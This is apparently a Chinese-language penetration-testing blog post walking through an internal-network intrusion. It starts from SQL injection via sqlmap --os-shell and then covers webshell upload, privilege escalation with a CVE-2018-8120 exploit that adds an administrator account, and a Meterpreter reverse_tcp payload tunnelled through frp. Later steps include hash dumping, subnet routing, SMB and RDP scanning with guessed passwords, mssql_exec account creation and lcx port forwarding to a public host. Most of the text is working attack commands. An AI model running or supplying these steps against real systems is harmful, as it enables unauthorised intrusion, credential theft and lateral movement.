内网渗透之纵深

前言

在一次测试中发现某系统存在SQL注入漏洞。且IIS可暴露绝对路径。

image.png

使用--os-shell命令，填写绝对路径可执行系统命令。

image.png

提权

sqlmap在执行--os-shellI命令时向服务器写入了上传文件的脚本。
通过文件上传可直接上传大马。

image.png

简单执行几条系统命令查看该服务器基本情况。

image.png
image.png

权限不够，上传cve-2018.8120.exe进行提权。

cve-2018-8120.exe  "whoami"

image.png

cve-2018-8120.exe  "net  user   admintest  1234qwer..   /add"
cve-2018-8120.exe  "net  localgroup  administrators  admintest   /add"

进而添加用户到管理员组。
由于该服务器在内网。
选择自己上传msf马(由veil生成)，由frp穿透到内网。
详情参考：getshell的进一步利用

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
exploit -j

进而端口转发登录该服务器。

portfwd add -l 3389  -r 10.0.15.20  -p  3389  

image.png
这里使用公网进行访问，
注：依然需要在frpc上进行配置。
image.png
为了在内网获取更多服务器，需要获取管理员administrator的密码。
在登录成功的前提下，以管理员身份再次运行msf马，可顺利提权至system。

getuid             当前权限                                
getsystem          通过各种攻击提升到system权限
run post/windows/gather/hashdump   获取系统密码hash
run post/windows/gather/checkvm   检查是否是虚拟机

image.png

尝试md5解密一下。。nice！！！

image.png

使用administrator来登录。

image.png

果然，信息有很多。
比如mysql数据库。

image.png

内网渗透

首先看一下该局域网存活主机

for /l  %i  in (1,1,255) do @  ping  10.0.15.%i  -w  1  -n  1 |  find  /i  "ttl="

image.png

meterpreter添加路由。

run  get_local_subnets                 获取当前网段
run  autoroute -s 10.0.15.0/24         添加路由

image.png

使用metasploit模块查看一下该局域网开启3389的服务器。

use  auxiliary/scanner/rdp/rdp_scanner 
set  rhosts 10.0.15.10-33
run

image.png

扫描smb登录

use     auxiliary/scanner/smb/smb_login
set     RHOSTS    10.0.15.10-33
set     SMBUser   administrator
set     SMBPass   123456a?
run

image.png
image.png

这个结果令人欣喜。。。
登录几台试试。

image.png
image.png

继续。。上传hsscan工具扫描一下弱口令。

image.png

使用metasploit的mssql模块来添加管理员。

use auxiliary/admin/mssql/mssql_exec
set RHOST     10.0.15.12
set USERNAME  sa
set PASSWORD  soft
set CMD       net user admintest   1234qwer.. /add
run

image.png

ok！！！

image.png

go，go，go。重复之前的操作。上传msf马并以管理员身份运行。
提权后获取管理员密码。

image.png

MD5解密一下。。

image.png

以administrator登录

image.png

再次批量扫描smb。又获取几台服务器。

image.png

尝试登录10.0.15.13试试

image.png

扩展

为了更加方便远程服务器，上传lcx.exe工具进行端口转发。
在公网上使用该命令

./portmap -m 2 -p1 2222 -p2 5555    linux监听端口

image.png

靶机上使用以下命令。

lcx.exe  -slave  公网IP 2222  10.0.15.20   3389    windows转发端口

image.png
image.png